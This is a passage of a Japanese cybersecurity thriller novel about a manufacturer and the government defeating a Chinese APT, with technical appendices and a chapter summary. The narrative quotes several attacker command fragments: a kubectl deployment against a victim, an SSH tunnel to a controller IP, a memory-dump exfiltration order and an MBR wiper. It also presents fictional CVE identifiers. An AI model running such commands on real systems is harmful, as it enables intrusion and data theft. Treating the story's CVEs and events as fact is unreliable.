J‑CYSOC BlueOps チームは、Drop‑Needle 直前に C2 上で稼働していた VM 6 台をメモリダンプごと取得(クラウド事業者との法的枠組み)。篠田は Volatility3 で解析。
perllinux_pslist | grep coregen linux_bash | strings -n 8 | grep 'task_ml_dump'
coregen --socket /var/run/bpf.sock プロセス
task_ml_dump orders --zip --push コマンド履歴
/home/ops/foxhole_beta/exp_k8s.sh スクリプト
exp_k8s.sh はkubectl --server {{victim_ip}} -n kube-system apply -f root.yamlと書かれており、未公開 K8s API CVE を悪用していた。
4.2 未公開 CVE 連鎖を政府リポジトリへ
CVE‑2025‑11571:Kubernetes API admission‑plugin Bypass
CVE‑2025‑11572:Docker 23.0 runc path‑traversal container escape防衛省が CVE リザーブを代行。各クラウド基盤に緊急連絡。24 h 内で暫定パッチがプライベート配布された。
5 民間支援の舞台裏
5.1 篠田の Blue‑Red 同期
リアルタイムで流れ込むメモリ・パケットデータを可視化するため、篠田は Maltego の Transforms を改造。
BeaconIP → WHOIS → ASN
ASN → CIDR → SinkholeHits
SinkholeHits > 500 → RedFlag
グラフは東欧の小規模製造企業 2 社を赤いノードで示した。
「我々だけの戦争じゃない」菜々子は海外 CERT に自動通知し、脅威共有サイクルが回る。
5.2 サプライチェーン・キョクタン監査
昭南工作所では、東日‐IPA 支援チームが
FortiGate 最新パッチ
全端末 Sysmon + EDR
OT‑IT 物理セグメントを 48 h で実装。小山社長は「安全第一」の看板を掲げ直した。“弱い輪”の補強が現実に動き出す。
6 国際政治の渦
外務省経由で中国政府に「不正アクセス照会」が出された。公式回答:「我々は一切関与しない」だが同時に、国営メディアでは「日本の違法サイバー攻撃」と逆情報戦。J‑CYSOC は一切反論せず、技術的事実を淡々と公開。世界の IT 報道は「日本、前例ない合法能動防御に成功」と報じた。
7 境界なき反撃の余波
7.1 攻撃者側の動向
2 月 27 日、ロシア・カザフスタン国境の IDC でBlackFox 新ドメイン blaze‑signal.net 登録が観測された。だが、WHOIS 情報には “XID:9b7e:713f:dead:beef” が含まれていた。菜々子が笑う。
「汚染モデルの水印が逆輸入されたわけね」
攻撃者内部でモデル品質検証が走り、汚染に気付けぬままテンプレ流通に乗ったらしい。オペレータ信用崩壊が静かに進行する。
7.2 国内の法・制度アップデート
政府は「能動防御実績」を踏まえ、① 企業向け協力手順ガイドライン② CERT‑Japan 法定法人化③ サイバー人材育成基金 500 億円を閣議決定。篠田は講師依頼を受け、実戦 Incident Response カリキュラム設計を任される。
8 静穏と覚悟
2 月 28 日 23 時59 分。OP‑STELLAR‑FANG 終了。J‑CYSOC で湯浅指揮官が最後のログを見届け、緑のボタンを押した。「作戦完遂。全員、お疲れ」
ガラス越しの作戦室が、ようやく夜を迎えた。篠田と菜々子は市ヶ谷の正門を出て、冷たい空気を吸う。空には、かすかな春の星座──オリオンの三つ星。
「Mintaka、Alnilam、Alnitak」「もう一つ星が増えた。Stellar Fang さ」──境界線を越えた反撃は完了した。だが星の光が消えぬかぎり、BlackFox の影もまた再び姿を現す。二人は無言で頷き合い、夜の街へ歩き出した。
◆章末テクニカル付録
A. OP‑STELLAR‑FANG 時系列サマリ
JST | 主要アクション | 成果 |
02‑24 23:50 | DNS レジストラ協力完了 | 準備態勢移行 |
02‑25 00:10 | シンクホール拡張ノード稼働 | Beacon 1.8 万件/h 捕捉 |
02‑25 02:00 | Drop‑Needle 実行 | C2 通信 0/h, Socks5 迂回阻止 |
02‑25 05:40 | Stellar‑Probe メモリ取得 | 未公開 CVE 2 件確保 |
02‑26 11:00 | CVE‑ID 予約・暫定パッチ流布 | 主要クラウド業者パッチ配布 |
02‑27 20:00 | 汚染 AI モデル流出確認 | 攻撃者内部信用低下 |
02‑28 23:59 | 作戦終了宣言 | 再侵入ゼロ継続 |
B. シンクホール Beacon 自動解析ルール(概要)
yamlbeacon_parser: extract_fields: - name: hwid type: hex64 - name: os_ver type: string - name: beacon_ver type: semver - name: module_hash type: sha256 actions: - if: module_hash in blacklist then: push_ioc(CERT_JP) - if: beacon_ver >= "2.0.0-gamma" then: flag("AI-model-theft")
C. 汚染 AI モデルの水印方法(安全化)
任意層 weight 行列 W の 32 × 32 ブロックにDE A D B E EF を IEEE754 float に埋め込み。
埋め込み範囲は秘密鍵 k で PRNG 生成。
推論精度劣化 ≤ 0.02%、人的検知不可、機械解析 100% 検知。
(本付録は技術解説目的であり、不正利用を助長しないよう一部パラメータを省略しています)
第9章:最終防衛ライン
――2025 年 3 月 1 日 00 時02 分 東日電産 中部製造拠点 SOC/ライン制御中枢
0 “蒼天(Azure‑Sky)” 信号
3 日間の能動防御作戦が終わり、世界が一瞬だけ静かになった夜。だがシンクホール監視を見守っていた杉本菜々子の端末に、未登録 C2 ドメイン azure‑sky.net が突然点滅した。Beacon Version は 3.0‑γ、通信先は 高雄(台湾)IDC。BlackFox が新しい牙を剥いた――しかも今回は日本発の踏み台が認証に利用されている。
“蒼天信号捕捉。レッドチーム警戒態勢へ”
Slack のアラートが ERHQ の大型スピーカーを揺らす。篠田拓也の血圧が一気に跳ね上がった。「FoxHole‑γ が、本番投入されたな」
1 異常の温度
1.1 Edge‑GPU ノード温度アラート
ライン 12 の制御バスに設置した NVIDIA Jetson AGX Xavier ノードが、センサ温度 89 ℃を記録。通常動作は 55 ℃。Falco ルール ProcLateralMovement が同時に飛ぶ。
bashcontainer.image=jetai:1.4 Process: /usr/bin/python3 ml_service.py Child : /usr/bin/cat /proc/kcore
GPU コアを利用したメモリダンプが走っている。菜々子「モデル窃取どころか、リアルタイム推論中の重みと推論結果まで抜く気ね」
1.2 ICS 偏差
SCADA では FallBack Tag SpeedOverride が再び 110%。しかし前回と違い、Warning アラームをスキップして自動復帰エージェントが無効化されていた。篠田は Ignition Gateway ログを掘った。
pgsqlsystem.tag.readBlocking("[default]Line12/OverrideFlag") returns False system.scripting.runNamedQuery("disableGuard")
BlackFox‑γ の新力点は ガード回路そのものをオフにする。
2 ブルーとレッドの同時起動
2.1 “緊迫モード S‑2”
篠田は IR‐Playbook Runner で set_mode --level S2 を叩く。
Kubernetes Admission Controller → deny hostPID から deny ANY privileged
SCADA MQTT ACL を“強制遮断”モード
OT VLAN 全ポートを ACL: allow tcp/502, deny * に即時上書き
3 分でラインは半停止。製造部門が怒号を飛ばすが、高梨本部長が“緊迫モード S‑2”を承認した。
2.2 Red Team “Thorn‑Edge”
同時に、政府 BlueOps から逆探知の許可が下りる。J‑CYSOC 内部 Red Team のコード名 Thorn‑Edge が、BlackFox‑γ の産みの親を捕捉すべく台湾 IDC の仮想サーバに潜入を開始した。責任共有モデル上、台湾当局 CERT から“観測協力”が得られている。
3 カウンター:AI Model蜂起
3.1 “Guardian‑Weight” パッチ
菜々子は推論エージェント ML‑Guard 0.9 を 30 分で書き上げる。
モデル map へ SHA‑256 + HMAC‑SHA1 タグを付与
Weight 変更時は GPU DMA イベントをフックし、差分 > ±0.0002 を検知
差分検知時、即座に推論プロセスを SIGKILL、EDR 隔離
Kubernetes DaemonSet でライン全 Jetson 30 台へデプロイ。3 分後、mlsync_v3 が Weight Injection を試行、Guardian‑Weight が検出し自殺プロセスを起こした。
3.2 ホップ制御
同時に、菜々子は Falco へ新ルールを即時投入。
yamlrule AIWeightHijack: condition: > open_write and fd.name endswith ".pt" and (evt.arg.data > 1000000b) output: "AI weight tampering detected (user=%user.name file=%fd.name)" priority: CRITICAL action: k8s_ns_quarantine
0.2 秒以内に Pod 隔離、Shadow Pod が復元作業に回る。
4 Red Team の針
4.1 VPS 狩り
Thorn‑Edge は台湾 IDC の仮想ホストに侵入し、KVM メモリから BlackFox Controller コンソールをダンプ。
/usr/local/bin/foxctl
ssh -N -L 1080:127.0.0.1:1080 root@185.199.220.72
screen -r beaconloop
ログには 中国標準時 02:12 のオペレータ入力記録。
shell> flush > push ml_dump gamma 0x41c0e55e > set speed line=12 rpm=9000
法的枠内で、Thorn‑Edge はコマンド履歴・SSH 公開鍵指紋を確保。鍵フィンガープリントが 2023 年転職サイトリーク情報に載ったPLA 軍属エンジニアと一致、証拠として暗号化保管された。
5 ICS 破壊コマンド阻止
5.1 “Calico‑ACL Blade”
BlackFox‑γ が OT VLAN に残した隠れバックドアは、IP over CIP と呼ばれる異常トンネル。篠田は Calico eBPF ポリシーを即時書換え。
yamlapiVersion: projectcalico.org/v3 kind: GlobalNetworkPolicy metadata: name: block-cip-tunnel spec: selector: all() types: - Deny egress: - action: Deny protocol: TCP destination: ports: [44818] metadata: comment: "Block unsolicited CIP from non-SCADA"
攻撃者が CIP Write を投げる前に、先制ブロック。ラインは寸前で守られた。
6 Brown‑out 攻撃
23 時 50 分、停電のようにライン照明が 3 度瞬いた。SCADA UPS ログ:
cssAC Input Voltage fluctuation 185V → 240V (2.1ms)
ブラックアウト狙いのBrown‑out Attack。篠田は OT ネットワークを疑ったが、電源波形ログ解析で
rustSync frequency anomaly Δf = 0.8Hz
攻撃者が太陽光発電パワコンのリモート監視システムを通じ PWN コマンドを入れ“位相ずれ”を起こしたことが判明。制御外部からの物理攻撃。ここまで手を伸ばしていたのか――。
菜々子はパワコンの Web コントローラが 未パッチ OpenSSL を使うことを突き止め、即座に LAN ポートを物理遮断した。
7 夜明け前の総決戦
7.1 “Zero‑Voltage Recovery”
J‑CYSOC からの指示で、日本電力連盟の緊急プロトコルが発動。
パワコン遠隔制御ポートを全社的にネット分離
ラインに外部給電を切り替え UPS 保護モード
Brown‑out が 2 度目に来ても 0 秒停電
7.2 BlackFox‑γ コントロールルームの沈黙
Thorn‑Edge が台湾 IDC Controller の /etc/resolv.conf を Sinkhole IP に書換えた瞬間、オペレータセッションが切断。5 分後、PLA 系チャットクルーで「コントロールが奪われた」とパニックが広がる(SIGINT 傍受)。BlackFox‑γ リモート オフライン化 成功。
8 最後の爪痕
03 時 12 分。EDR が未署名ドライバロードを検知。
makefileC:\Windows\System32\drivers\winflash.sys SHA256 9d14c3... Behavior: overwrite MBR sector 0
MBR ワイパー。カウンター攻撃。だが Guardian‑Weight 実装時に追加した AppLocker + Driver Policy が阻止。ワイパーは dllhost 内コードインジェクションに留まり失敗。
9 最終防衛ライン、保持
04 時 30 分。ライン RPM 正常、全センサ緑。OP‑STELLAR‑FANG 後を狙った BlackFox‑γ の猛攻は、技術と組織の防壁で受け止めた。
篠田は ERHQ バルコニーから、薄曇りの夜明けを見た。
「守り切ったか?」菜々子が隣で肩をすくめる。「今日は勝った。でも次は“デルタ”かもね」篠田は静かに笑った。「なら防衛ラインもデルタを超える強さにする。それだけだ」
◆章末テクニカル付録
カテゴリ | 施策 | キーコマンド/設定 | 効果 |
AI モデル保護 | Guardian‑Weight DaemonSet | LD_PRELOAD=libgw.so | Weight 改ざん即隔離 |
OT VLAN 保護 | Calico eBPF ACL | deny tcp/44818 | CIP トンネル遮断 |
DNS 抑止 | Drop‑Needle TTL30s | Anycast Sinkhole | C2 通信 0/h |
Brown‑out 防御 | UPS Zero‑Voltage Recovery | static bypass | 0 秒停電 |
ワイパー対策 | AppLocker + DriverBlock | Hash/Path Rule | MBR 破壊阻止 |
第10章:守りの行方
――2025 年 3 月 31 日 09 時00 分 東日電産 本社 CISO 室
0 朝のバトン
春分を過ぎた東京の空は霞み、桜の花びらが皇居のお濠を薄紅に染めていた。篠田拓也は真新しい ID カードを胸ポケットに差し込み、CISO 室のドアを開けた。カードには “Senior Cyber Defense Architect” と金箔で刻まれている。かつて SOC の監視員だった彼は、今日から経営直轄の新設組織「サイバー防衛戦略部(CDS)」 の責任者として船出する。
机上の会議アジェンダ最上段に、こう書かれていた。
「ポスト BlackFox:3 ヵ年サイバー安全保障ロードマップ」
1 インシデント後 30 日レビュー
1.1 メトリクス
指標 | 2 月 末 | 3 月 末 | 目標 |
MTTD(分) | 8 | 3.2 | ≤ 5 |
MTTR(分) | 45 | 11 | ≤ 15 |
感染端末 2 次発生 | 0 | 0 | 0 |
サプライチェーン診断完了率 | 25 % | 82 % | 100 % (6 月) |
SOC に実装した Playbook Runner v2、Guardian‑Weight v1.2、新たに導入した SOAR(StackStorm + Falcon Fusion) により、自動隔離から封じ込めまでの平均時間は 11 分 へ短縮された。
1.2 サプライチェーン監査
昭南工作所を含む Tier‑1 8 社の FortiGate 全て v6.4.14 へ更新
ネットワーク分割ベースライン策定(図面データは DLP のみ許可)
共通 IR 訓練 4 回実施、参加率 92 %
2 ガバナンス改革
2.1 取締役会直轄「サイバー戦略委員会」
取締役 3 名+社外取締役セキュリティ専門家 2 名で構成。四半期ごとに KPI と投資効果をレビュー。KPI は NIST CSF 新指標 v2.0(Govern – Protect – Defend – Recover – Adapt)を採用。篠田は委員会に直接レポートし、予算確保を迅速化できるようになった。
2.2 “セキュリティ by Ikejiri”
かつての社内合言葉「Ikejiri(いけじり=行け次利)」「走りながらコードを書く」 文化が原因で OES のゼロデイが生まれた。そこでSecure SDLC が導入され、
Threat Modeling(STRIDE, LINDDUN)
SAST/DAST パイプライン(GitActions)
Red Team 強制レビューが全プロジェクトのゲートに配置された。
3 経済安全保障補助事業
3.1 国策連携
極超音速ミサイル構造体や高効率アクチュエータなど、東日の先端技術 3 件が 「特定重要技術」 に指定され、
年間補助 7 億円(5 年)
官民共同研究所 “Secure‑Manu Lab” 設立
研究員 50 % がセキュリティ・クリアランス取得必須となった。篠田と菜々子はクリアランス「C3」を取得し、ラボの技術セキュリティ統括を兼務する。
3.2 AI モデル守秘
AI モデルが知財として法的保護を受ける「生成モデル法案」が院で可決。モデル窃取は「営業秘密侵害+α」罰則対象となり、東日はモデルフォレンジックチームを発足。Guardian‑Weight は OSS 化し、IPA の「セキュリティ・カタログ」に掲載された。
4 人材育成と文化
4.1 “道場タイム” → “Blue Guild”
週 2 回だったエンジニア勉強会は、Slack コミュニティ Blue Guild に発展。
社員 850 名が登録
毎日ミニ・CTF / Purple‑Lab の問題が投稿
得点上位者は MVP として報奨金 5 万円
4.2 現場ラインと ICS 教育
PLC メーカー3社と提携し、
安全計装システムのサンドボックス
Cyber‑PHA(サイバー・プロセスHAZOP)演習を現場ライン長 120 名が受講。「IT は難しい」が「安全の一部」へ意識変革した。
5 国際波及
5.1 BlackFox 崩壊
FoxFlare シンクホールは 3 月初旬も稼働を続け、攻撃ドメインは 3 月 10 日にはほぼゼロ応答。多国 CERT レポートで、BlackFox 主要インフラの
ハッカー請負市場からの契約停止
暗号通貨支払い遅延が確認され、オペレーション能力が大幅に低下した。
5.2 共同声明「Kanazawa Pledge」
日本・台湾・ドイツ 3 国の大手製造 11 社が「Kanazawa Pledge」を公表。
サプライチェーン脅威インテリジェンスのリアルタイム共有
侵害時の速やかな公表と被害企業支援
産業 AI モデル保護の標準化推進
篠田はテクニカル代表として署名に立ち会った。
6 主人公たちの未来
6.1 篠田拓也
役職:Senior Cyber Defense Architect / CDS部長
目標:MTTD 1 分、MTTR 5 分 “自律防御” 実現
プライベート:週末は大学院情報理工学研究科で博士課程(テーマ:産業 AI セキュリティ)に進学決意。
6.2 杉本菜々子
役職:Principal Red‑Purple Engineer / Secure‑Manu Lab 副所長
研究:AI モデル・ウォーターマークと Adversarial Training
夢:「世界で一番強い“味方 Red Team”を作る。」
6.3 村上誠司
役職:Chief Information Security Officer (CISO)
任務:取締役・経営会議のセキュリティ化
施策:年間予算確定プロセスをローリング方式へ変更
6.4 高梨洋平
役職:執行役員・生産本部長兼 ERHQ 統括
モットー更新:「守りなくして攻めなし」→「守りこそ攻め」
7 エピローグ
桜吹雪がビル谷間を漂う四月初頭。篠田と菜々子は Secure‑Manu Lab のオフィスバルコニーで缶コーヒーを開けた。眼下では、新入社員がスマホで写真を撮り合っている。
篠田「今年は何人、Blue Guild に来るかな」菜々子「全員よ。だって“守れる技術者”が格好いい時代でしょ?」
遠くで工事用クレーンが唸りを上げ、新しい研究棟の鉄骨が組み上がっていく。かつて守るだけだった場所が、未来を創る拠点へと変わりつつある。
菜々子「あの影──BlackFox。次は別の名で来るわ」篠田「来ればいいさ。俺たちも次の形で待ってる」
二人は拳を合わせ、春風を胸いっぱいに吸い込んだ。守りの行方は、創る者たちが決める。そして守りは、次の挑戦に備える翼でもあるのだ。
◆全十章 技術ハイライト総括
章 | 技術トピック | 主要ツール/対策 |
1 | 初動検知 | SIEM, EDR 隔離 |
2 | Lateral & ESC8 | BloodHound, Certify |
3 | Shadow Cred / BPF | KQL, Zeek, Volatility |
4 | サプライ侵入 | FortiGate CVE, SMBv1 |
5 | ゼロデイ RCE | gRPC Overrun, K8s Escape |
6 | ERHQ & SOAR | StackStorm, ATO Dash |
7 | アトリビューション | Five‑Layer Model, Sinkhole |
8 | 能動防御 | DNS Under‑cut, Anycast |
9 | 最終防衛 | Guardian‑Weight, Calico ACL |
10 | 文化・制度 | Secure SDLC, Blue Guild |
完
『黒狐 ―Silent Invasion―』全10章 超要約
章 | 主な出来事 | 技術ポイント |
1 – 不穏な兆候 | 製造大手「東日電産」のSOCで深夜のVPN異常を検知。PowerShell型マルウェアから中国系APT侵入の兆し。 | SIEM/EDR隔離、NetFlow追跡 |
2 – 侵食の発覚 | 130台に横展開し機密図面が流出寸前。FortiGate VPNの未パッチが穴。 | BloodHoundでShadow Cred調査、LLMNR/Responder封じ |
3 – 潜伏する影 | Golden TicketとCA悪用が発覚、APT長期潜伏を可視化。 | CertifyでESC8検出、Zeek+KQLハンティング |
4 – 供給網の罠 | 子会社「昭南工作所」が踏み台。SMBv1 NAS・旧PLC経由でOT側へ侵入。 | サプライチェーン監査、VPN即時パッチ |
5 – ゼロデイの猛威 | 基幹K8sクラスタに未知のgRPCバグでRCE→SCADA操作。ライン停止危機。 | CVE‑2025‑11490発見、クラスタ再構築 |
6 – 危機対策本部 | 経営直轄ERHQ設置。SOAR自動隔離でMTTR40→8分。 | StackStorm、ATOダッシュボード |
7 – 諜報の境界 | 攻撃主体「BlackFox」はPLA系複合APTと特定。政府と共同で能動防御計画へ。 | 五層アトリビューション、DNSシンクホール |
8 – 境界なき反撃 | 政府作戦OP‑STELLAR‑FANG発動。DNSアンダーカットでC2を一斉無力化、未公開ゼロデイ確保。 | Anycast Sinkhole、メモリ奪取 |
9 – 最終防衛ライン | BlackFox‑γがAIモデル窃取とOT破壊を再試行。Guardian‑Weightで撃退。 | AI Weight監視DaemonSet、Brown‑out攻撃阻止 |
10 – 守りの行方 | 30日レビューでMTTR11分、監査率82%。CISO直轄組織とサプライ網改革、国際連携へ。 | Secure SDLC、Blue Guild文化醸成 |
核心ストーリー
主人公・篠田拓也(SOCエンジニア)は、中国系APT「BlackFox」の多層攻撃に巻き込まれる。
侵入はVPNゼロデイ→社内横展開→サプライチェーン→基幹クラスタゼロデイへと深化。
政府の能動的サイバー防御法施行により、企業と国家が連携。DNSシンクホールと国際協力でBlackFoxインフラを無力化。
反撃後もAIモデル窃取を狙う最新亜種が襲来するが、ライン防御と自動SOARで阻止。
事件後、東日はCISO体制・Secure SDLC・サプライ網監査を整備し、セキュリティ文化を「守りこそ攻め」へ転換。主人公は経営直轄の防衛アーキテクトに就任、持続的サイバー防衛の道を歩む。
総括:物語はリアルな技術描写(EDR隔離、K8s脱獄、eBPF ACL、AIモデル水印など)で企業・政府・サプライチェーンを貫く“多層防衛の進化”を描き、最後は文化と制度改革へ収束するサイバーセキュリティ・スリラー。





コメント